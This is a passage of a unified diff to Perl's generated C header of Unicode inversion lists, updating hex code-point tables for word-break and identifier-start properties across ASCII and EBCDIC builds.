0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D46, - 0x11D47, + 0x11C92, + 0x11CA8, + 0x11CA9, + 0x11CB7, 0x12000, 0x1239A, 0x12400, @@ -355811,12 +69887,18 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0x16A39, 0x16A40, 0x16A5F, + 0x16A60, + 0x16A6A, 0x16AD0, 0x16AEE, + 0x16AF0, + 0x16AF5, 0x16B00, - 0x16B30, + 0x16B37, 0x16B40, 0x16B44, + 0x16B50, + 0x16B5A, 0x16B63, 0x16B78, 0x16B7D, @@ -355824,11 +69906,17 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0x16F00, 0x16F45, 0x16F50, - 0x16F51, - 0x16F93, + 0x16F7F, + 0x16F8F, 0x16FA0, 0x16FE0, - 0x16FE2, + 0x16FE1, + 0x17000, + 0x187ED, + 0x18800, + 0x18AF3, + 0x1B000, + 0x1B002, 0x1BC00, 0x1BC6B, 0x1BC70, @@ -355837,6 +69925,20 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0x1BC89, 0x1BC90, 0x1BC9A, + 0x1BC9D, + 0x1BC9F, + 0x1D165, + 0x1D16A, + 0x1D16D, + 0x1D173, + 0x1D17B, + 0x1D183, + 0x1D185, + 0x1D18C, + 0x1D1AA, + 0x1D1AE, + 0x1D242, + 0x1D245, 0x1D400, 0x1D455, 0x1D456, @@ -355897,10 +69999,38 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0x1D7C3, 0x1D7C4, 0x1D7CC, + 0x1D7CE, + 0x1D800, + 0x1DA00, + 0x1DA37, + 0x1DA3B, + 0x1DA6D, + 0x1DA75, + 0x1DA76, + 0x1DA84, + 0x1DA85, + 0x1DA9B, + 0x1DAA0, + 0x1DAA1, + 0x1DAB0, + 0x1E000, + 0x1E007, + 0x1E008, + 0x1E019, + 0x1E01B, + 0x1E022, + 0x1E023, + 0x1E025, + 0x1E026, + 0x1E02B, 0x1E800, 0x1E8C5, + 0x1E8D0, + 0x1E8D7, 0x1E900, - 0x1E944, + 0x1E94B, + 0x1E950, + 0x1E95A, 0x1EE00, 0x1EE04, 0x1EE05, @@ -355967,843 +70097,85 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0x1EEAA, 0x1EEAB, 0x1EEBC, - 0x1F130, - 0x1F14A, - 0x1F150, - 0x1F16A, - 0x1F170, - 0x1F18A -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_WB__MB_invlist[] = { /* for ASCII/Latin1 */ - 13, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2E, - 0x2F, - 0x2018, - 0x201A, - 0x2024, - 0x2025, - 0xFE52, - 0xFE53, - 0xFF07, - 0xFF08, - 0xFF0E, - 0xFF0F -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_WB__MB_invlist[] = { /* for EBCDIC 1047 */ - 13, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4B, - 0x4C, - 0x2018, - 0x201A, - 0x2024, - 0x2025, - 0xFE52, - 0xFE53, - 0xFF07, - 0xFF08, - 0xFF0E, - 0xFF0F -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_WB__MB_invlist[] = { /* for EBCDIC 037 */ - 13, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4B, - 0x4C, - 0x2018, - 0x201A, - 0x2024, - 0x2025, - 0xFE52, - 0xFE53, - 0xFF07, - 0xFF08, - 0xFF0E, - 0xFF0F -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_WB__ML_invlist[] = { /* for ASCII/Latin1 */ - 17, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3A, - 0x3B, - 0xB7, - 0xB8, - 0x387, - 0x388, - 0x5F4, - 0x5F5, - 0x2027, - 0x2028, - 0xFE13, - 0xFE14, - 0xFE55, - 0xFE56, - 0xFF1A, - 0xFF1B -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_WB__ML_invlist[] = { /* for EBCDIC 1047 */ - 17, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x7A, - 0x7B, - 0xB3, - 0xB4, - 0x387, - 0x388, - 0x5F4, - 0x5F5, - 0x2027, - 0x2028, - 0xFE13, - 0xFE14, - 0xFE55, - 0xFE56, - 0xFF1A, - 0xFF1B -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_WB__ML_invlist[] = { /* for EBCDIC 037 */ - 17, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x7A, - 0x7B, - 0xB3, - 0xB4, - 0x387, - 0x388, - 0x5F4, - 0x5F5, - 0x2027, - 0x2028, - 0xFE13, - 0xFE14, - 0xFE55, - 0xFE56, - 0xFF1A, - 0xFF1B -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_WB__MN_invlist[] = { /* for ASCII/Latin1 */ - 29, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2C, - 0x2D, - 0x3B, - 0x3C, - 0x37E, - 0x37F, - 0x589, - 0x58A, - 0x60C, - 0x60E, - 0x66C, - 0x66D, - 0x7F8, - 0x7F9, - 0x2044, - 0x2045, - 0xFE10, - 0xFE11, - 0xFE14, - 0xFE15, - 0xFE50, - 0xFE51, - 0xFE54, - 0xFE55, - 0xFF0C, - 0xFF0D, - 0xFF1B, - 0xFF1C -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_WB__MN_invlist[] = { /* for EBCDIC 1047 */ - 29, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5E, - 0x5F, - 0x6B, - 0x6C, - 0x37E, - 0x37F, - 0x589, - 0x58A, - 0x60C, - 0x60E, - 0x66C, - 0x66D, - 0x7F8, - 0x7F9, - 0x2044, - 0x2045, - 0xFE10, - 0xFE11, - 0xFE14, - 0xFE15, - 0xFE50, - 0xFE51, - 0xFE54, - 0xFE55, - 0xFF0C, - 0xFF0D, - 0xFF1B, - 0xFF1C -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_WB__MN_invlist[] = { /* for EBCDIC 037 */ - 29, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5E, - 0x5F, - 0x6B, - 0x6C, - 0x37E, - 0x37F, - 0x589, - 0x58A, - 0x60C, - 0x60E, - 0x66C, - 0x66D, - 0x7F8, - 0x7F9, - 0x2044, - 0x2045, - 0xFE10, - 0xFE11, - 0xFE14, - 0xFE15, - 0xFE50, - 0xFE51, - 0xFE54, - 0xFE55, - 0xFF0C, - 0xFF0D, - 0xFF1B, - 0xFF1C -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_WB__NL_invlist[] = { /* for ASCII/Latin1 */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB, - 0xD, - 0x85, - 0x86, - 0x2028, - 0x202A -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_WB__NL_invlist[] = { /* for EBCDIC 1047 */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB, - 0xD, - 0x25, - 0x26, - 0x2028, - 0x202A -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_WB__NL_invlist[] = { /* for EBCDIC 037 */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB, - 0xD, - 0x15, - 0x16, - 0x2028, - 0x202A -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_WB__NU_invlist[] = { /* for ASCII/Latin1 */ - 111, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x30, - 0x3A, - 0x660, - 0x66A, - 0x66B, - 0x66C, - 0x6F0, - 0x6FA, - 0x7C0, - 0x7CA, - 0x966, - 0x970, - 0x9E6, - 0x9F0, - 0xA66, - 0xA70, - 0xAE6, - 0xAF0, - 0xB66, - 0xB70, - 0xBE6, - 0xBF0, - 0xC66, - 0xC70, - 0xCE6, - 0xCF0, - 0xD66, - 0xD70, - 0xDE6, - 0xDF0, - 0xE50, - 0xE5A, - 0xED0, - 0xEDA, - 0xF20, - 0xF2A, - 0x1040, - 0x104A, - 0x1090, - 0x109A, - 0x17E0, - 0x17EA, - 0x1810, - 0x181A, - 0x1946, - 0x1950, - 0x19D0, - 0x19DA, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1B50, - 0x1B5A, - 0x1BB0, - 0x1BBA, - 0x1C40, - 0x1C4A, - 0x1C50, - 0x1C5A, - 0xA620, - 0xA62A, - 0xA8D0, - 0xA8DA, - 0xA900, - 0xA90A, - 0xA9D0, - 0xA9DA, - 0xA9F0, - 0xA9FA, - 0xAA50, - 0xAA5A, - 0xABF0, - 0xABFA, - 0x104A0, - 0x104AA, - 0x11066, - 0x11070, - 0x110F0, - 0x110FA, - 0x11136, - 0x11140, - 0x111D0, - 0x111DA, - 0x112F0, - 0x112FA, - 0x11450, - 0x1145A, - 0x114D0, - 0x114DA, - 0x11650, - 0x1165A, - 0x116C0, - 0x116CA, - 0x11730, - 0x1173A, - 0x118E0, - 0x118EA, - 0x11C50, - 0x11C5A, - 0x11D50, - 0x11D5A, - 0x16A60, - 0x16A6A, - 0x16B50, - 0x16B5A, - 0x1D7CE, - 0x1D800, - 0x1E950, - 0x1E95A -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_WB__NU_invlist[] = { /* for EBCDIC 1047 */ - 111, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF0, - 0xFA, - 0x660, - 0x66A, - 0x66B, - 0x66C, - 0x6F0, - 0x6FA, - 0x7C0, - 0x7CA, - 0x966, - 0x970, - 0x9E6, - 0x9F0, - 0xA66, - 0xA70, - 0xAE6, - 0xAF0, - 0xB66, - 0xB70, - 0xBE6, - 0xBF0, - 0xC66, - 0xC70, - 0xCE6, - 0xCF0, - 0xD66, - 0xD70, - 0xDE6, - 0xDF0, - 0xE50, - 0xE5A, - 0xED0, - 0xEDA, - 0xF20, - 0xF2A, - 0x1040, - 0x104A, - 0x1090, - 0x109A, - 0x17E0, - 0x17EA, - 0x1810, - 0x181A, - 0x1946, - 0x1950, - 0x19D0, - 0x19DA, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1B50, - 0x1B5A, - 0x1BB0, - 0x1BBA, - 0x1C40, - 0x1C4A, - 0x1C50, - 0x1C5A, - 0xA620, - 0xA62A, - 0xA8D0, - 0xA8DA, - 0xA900, - 0xA90A, - 0xA9D0, - 0xA9DA, - 0xA9F0, - 0xA9FA, - 0xAA50, - 0xAA5A, - 0xABF0, - 0xABFA, - 0x104A0, - 0x104AA, - 0x11066, - 0x11070, - 0x110F0, - 0x110FA, - 0x11136, - 0x11140, - 0x111D0, - 0x111DA, - 0x112F0, - 0x112FA, - 0x11450, - 0x1145A, - 0x114D0, - 0x114DA, - 0x11650, - 0x1165A, - 0x116C0, - 0x116CA, - 0x11730, - 0x1173A, - 0x118E0, - 0x118EA, - 0x11C50, - 0x11C5A, - 0x11D50, - 0x11D5A, - 0x16A60, - 0x16A6A, - 0x16B50, - 0x16B5A, - 0x1D7CE, - 0x1D800, - 0x1E950, - 0x1E95A -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_WB__NU_invlist[] = { /* for EBCDIC 037 */ - 111, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF0, - 0xFA, - 0x660, - 0x66A, - 0x66B, - 0x66C, - 0x6F0, - 0x6FA, - 0x7C0, - 0x7CA, - 0x966, - 0x970, - 0x9E6, - 0x9F0, - 0xA66, - 0xA70, - 0xAE6, - 0xAF0, - 0xB66, - 0xB70, - 0xBE6, - 0xBF0, - 0xC66, - 0xC70, - 0xCE6, - 0xCF0, - 0xD66, - 0xD70, - 0xDE6, - 0xDF0, - 0xE50, - 0xE5A, - 0xED0, - 0xEDA, - 0xF20, - 0xF2A, - 0x1040, - 0x104A, - 0x1090, - 0x109A, - 0x17E0, - 0x17EA, - 0x1810, - 0x181A, - 0x1946, - 0x1950, - 0x19D0, - 0x19DA, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1B50, - 0x1B5A, - 0x1BB0, - 0x1BBA, - 0x1C40, - 0x1C4A, - 0x1C50, - 0x1C5A, - 0xA620, - 0xA62A, - 0xA8D0, - 0xA8DA, - 0xA900, - 0xA90A, - 0xA9D0, - 0xA9DA, - 0xA9F0, - 0xA9FA, - 0xAA50, - 0xAA5A, - 0xABF0, - 0xABFA, - 0x104A0, - 0x104AA, - 0x11066, - 0x11070, - 0x110F0, - 0x110FA, - 0x11136, - 0x11140, - 0x111D0, - 0x111DA, - 0x112F0, - 0x112FA, - 0x11450, - 0x1145A, - 0x114D0, - 0x114DA, - 0x11650, - 0x1165A, - 0x116C0, - 0x116CA, - 0x11730, - 0x1173A, - 0x118E0, - 0x118EA, - 0x11C50, - 0x11C5A, - 0x11D50, - 0x11D5A, - 0x16A60, - 0x16A6A, - 0x16B50, - 0x16B5A, - 0x1D7CE, - 0x1D800, - 0x1E950, - 0x1E95A -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_WB__SQ_invlist[] = { /* for ASCII/Latin1 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x27, - 0x28 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_WB__SQ_invlist[] = { /* for EBCDIC 1047 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x7D, - 0x7E + 0x20000, + 0x2A6D7, + 0x2A700, + 0x2B735, + 0x2B740, + 0x2B81E, + 0x2B820, + 0x2CEA2, + 0x2F800, + 0x2FA1E, + 0xE0100, + 0xE01F0 }; -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_WB__SQ_invlist[] = { /* for EBCDIC 037 */ - 3, /* Number of elements */ +static const UV _Perl_IDStart_invlist[] = { /* for EBCDIC 037 */ + 1183, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0x7D, - 0x7E -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ - 1499, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA, - 0xE, - 0x22, - 0x23, - 0x27, - 0x28, - 0x2C, - 0x2D, - 0x2E, - 0x2F, - 0x30, - 0x3C, - 0x41, - 0x5B, - 0x5F, - 0x60, - 0x61, - 0x7B, - 0x85, - 0x86, + 0x42, + 0x4A, + 0x51, + 0x5A, + 0x62, + 0x6A, + 0x6D, + 0x6E, + 0x70, + 0x79, + 0x80, + 0x8A, + 0x8C, + 0x8F, + 0x91, + 0x9D, + 0x9E, + 0x9F, + 0xA0, + 0xA1, + 0xA2, 0xAA, - 0xAB, - 0xAD, - 0xAE, - 0xB5, - 0xB6, - 0xB7, - 0xB8, - 0xBA, - 0xBB, - 0xC0, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x2D8, - 0x2DE, + 0xAC, + 0xAF, + 0xC1, + 0xCA, + 0xCB, + 0xD0, + 0xD1, + 0xDA, + 0xDB, + 0xE0, + 0xE2, + 0xEA, + 0xEB, + 0xF0, + 0xFB, + 0xFF, + 0x100, + 0x2C2, + 0x2C6, + 0x2D2, + 0x2E0, 0x2E5, 0x2EC, + 0x2ED, + 0x2EE, + 0x2EF, + 0x370, 0x375, 0x376, 0x378, - 0x37A, + 0x37B, + 0x37E, + 0x37F, 0x380, 0x386, + 0x387, + 0x388, 0x38B, 0x38C, 0x38D, @@ -356813,7 +70185,7 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0x3F6, 0x3F7, 0x482, - 0x483, + 0x48A, 0x530, 0x531, 0x557, @@ -356821,70 +70193,64 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0x55A, 0x561, 0x588, - 0x589, - 0x58A, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, 0x5D0, 0x5EB, 0x5F0, - 0x5F5, - 0x600, - 0x606, - 0x60C, - 0x60E, - 0x610, - 0x61B, - 0x61C, - 0x61D, + 0x5F3, 0x620, - 0x66A, - 0x66B, - 0x66D, + 0x64B, 0x66E, + 0x670, + 0x671, 0x6D4, 0x6D5, - 0x6DE, - 0x6DF, - 0x6E9, - 0x6EA, + 0x6D6, + 0x6E5, + 0x6E7, + 0x6EE, + 0x6F0, + 0x6FA, 0x6FD, 0x6FF, 0x700, - 0x70F, - 0x74B, + 0x710, + 0x711, + 0x712, + 0x730, 0x74D, + 0x7A6, + 0x7B1, 0x7B2, - 0x7C0, + 0x7CA, + 0x7EB, + 0x7F4, 0x7F6, - 0x7F8, - 0x7F9, 0x7FA, 0x7FB, 0x800, - 0x82E, + 0x816, + 0x81A, + 0x81B, + 0x824, + 0x825, + 0x828, + 0x829, 0x840, - 0x85C, - 0x860, - 0x86B, + 0x859, 0x8A0, 0x8B5, 0x8B6, 0x8BE, - 0x8D4, - 0x964, - 0x966, - 0x970, + 0x904, + 0x93A, + 0x93D, + 0x93E, + 0x950, + 0x951, + 0x958, + 0x962, 0x971, - 0x984, + 0x981, 0x985, 0x98D, 0x98F, @@ -356897,24 +70263,16 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0x9B3, 0x9B6, 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, + 0x9BD, + 0x9BE, + 0x9CE, 0x9CF, - 0x9D7, - 0x9D8, 0x9DC, 0x9DE, 0x9DF, - 0x9E4, - 0x9E6, + 0x9E2, + 0x9F0, 0x9F2, - 0x9FC, - 0x9FD, - 0xA01, - 0xA04, 0xA05, 0xA0B, 0xA0F, @@ -356929,24 +70287,12 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0xA37, 0xA38, 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, 0xA59, 0xA5D, 0xA5E, 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, + 0xA72, + 0xA75, 0xA85, 0xA8E, 0xA8F, @@ -356959,22 +70305,14 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0xAB4, 0xAB5, 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, + 0xABD, + 0xABE, 0xAD0, 0xAD1, 0xAE0, - 0xAE4, - 0xAE6, - 0xAF0, + 0xAE2, 0xAF9, - 0xB00, - 0xB01, - 0xB04, + 0xAFA, 0xB05, 0xB0D, 0xB0F, @@ -356987,23 +70325,15 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0xB34, 0xB35, 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, + 0xB3D, + 0xB3E, 0xB5C, 0xB5E, 0xB5F, - 0xB64, - 0xB66, - 0xB70, + 0xB62, 0xB71, 0xB72, - 0xB82, + 0xB83, 0xB84, 0xB85, 0xB8B, @@ -357023,20 +70353,8 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0xBAB, 0xBAE, 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, 0xBD0, 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF0, - 0xC00, - 0xC04, 0xC05, 0xC0D, 0xC0E, @@ -357046,21 +70364,13 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0xC2A, 0xC3A, 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, + 0xC3E, 0xC58, 0xC5B, 0xC60, - 0xC64, - 0xC66, - 0xC70, + 0xC62, 0xC80, - 0xC84, + 0xC81, 0xC85, 0xC8D, 0xC8E, @@ -357071,44 +70381,30 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0xCB4, 0xCB5, 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, + 0xCBD, + 0xCBE, 0xCDE, 0xCDF, 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, + 0xCE2, 0xCF1, 0xCF3, - 0xD00, - 0xD04, 0xD05, 0xD0D, 0xD0E, 0xD11, 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, + 0xD3B, + 0xD3D, + 0xD3E, + 0xD4E, 0xD4F, 0xD54, - 0xD58, + 0xD57, 0xD5F, - 0xD64, - 0xD66, - 0xD70, + 0xD62, 0xD7A, 0xD80, - 0xD82, - 0xD84, 0xD85, 0xD97, 0xD9A, @@ -357119,64 +70415,59 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0xDBE, 0xDC0, 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF4, + 0xE01, 0xE31, 0xE32, - 0xE34, - 0xE3B, + 0xE33, + 0xE40, 0xE47, - 0xE4F, - 0xE50, - 0xE5A, + 0xE81, + 0xE83, + 0xE84, + 0xE85, + 0xE87, + 0xE89, + 0xE8A, + 0xE8B, + 0xE8D, + 0xE8E, + 0xE94, + 0xE98, + 0xE99, + 0xEA0, + 0xEA1, + 0xEA4, + 0xEA5, + 0xEA6, + 0xEA7, + 0xEA8, + 0xEAA, + 0xEAC, + 0xEAD, 0xEB1, 0xEB2, - 0xEB4, - 0xEBA, - 0xEBB, + 0xEB3, 0xEBD, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, + 0xEBE, + 0xEC0, + 0xEC5, + 0xEC6, + 0xEC7, + 0xEDC, + 0xEE0, 0xF00, 0xF01, - 0xF18, - 0xF1A, - 0xF20, - 0xF2A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, + 0xF40, 0xF48, 0xF49, 0xF6D, - 0xF71, - 0xF85, - 0xF86, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, + 0xF88, + 0xF8D, + 0x1000, 0x102B, 0x103F, 0x1040, - 0x104A, + 0x1050, 0x1056, 0x105A, 0x105E, @@ -357190,7 +70481,6 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0x1082, 0x108E, 0x108F, - 0x109E, 0x10A0, 0x10C6, 0x10C7, @@ -357231,8 +70521,6 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0x1316, 0x1318, 0x135B, - 0x135D, - 0x1360, 0x1380, 0x1390, 0x13A0, @@ -357252,78 +70540,72 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0x1700, 0x170D, 0x170E, - 0x1715, + 0x1712, 0x1720, - 0x1735, + 0x1732, 0x1740, - 0x1754, + 0x1752, 0x1760, 0x176D, 0x176E, 0x1771, - 0x1772, - 0x1774, + 0x1780, 0x17B4, - 0x17D4, + 0x17D7, + 0x17D8, + 0x17DC, 0x17DD, - 0x17DE, - 0x17E0, - 0x17EA, - 0x180B, - 0x180F, - 0x1810, - 0x181A, 0x1820, 0x1878, 0x1880, + 0x18A9, + 0x18AA, 0x18AB, 0x18B0, 0x18F6, 0x1900, 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1946, 0x1950, - 0x19D0, - 0x19DA, + 0x196E, + 0x1970, + 0x1975, + 0x1980, + 0x19AC, + 0x19B0, + 0x19CA, 0x1A00, - 0x1A1C, + 0x1A17, + 0x1A20, 0x1A55, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AB0, - 0x1ABF, - 0x1B00, + 0x1AA7, + 0x1AA8, + 0x1B05, + 0x1B34, + 0x1B45, 0x1B4C, - 0x1B50, - 0x1B5A, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1BF4, + 0x1B83, + 0x1BA1, + 0x1BAE, + 0x1BB0, + 0x1BBA, + 0x1BE6, 0x1C00, - 0x1C38, - 0x1C40, - 0x1C4A, + 0x1C24, 0x1C4D, + 0x1C50, + 0x1C5A, 0x1C7E, 0x1C80, 0x1C89, - 0x1CD0, - 0x1CD3, - 0x1CD4, 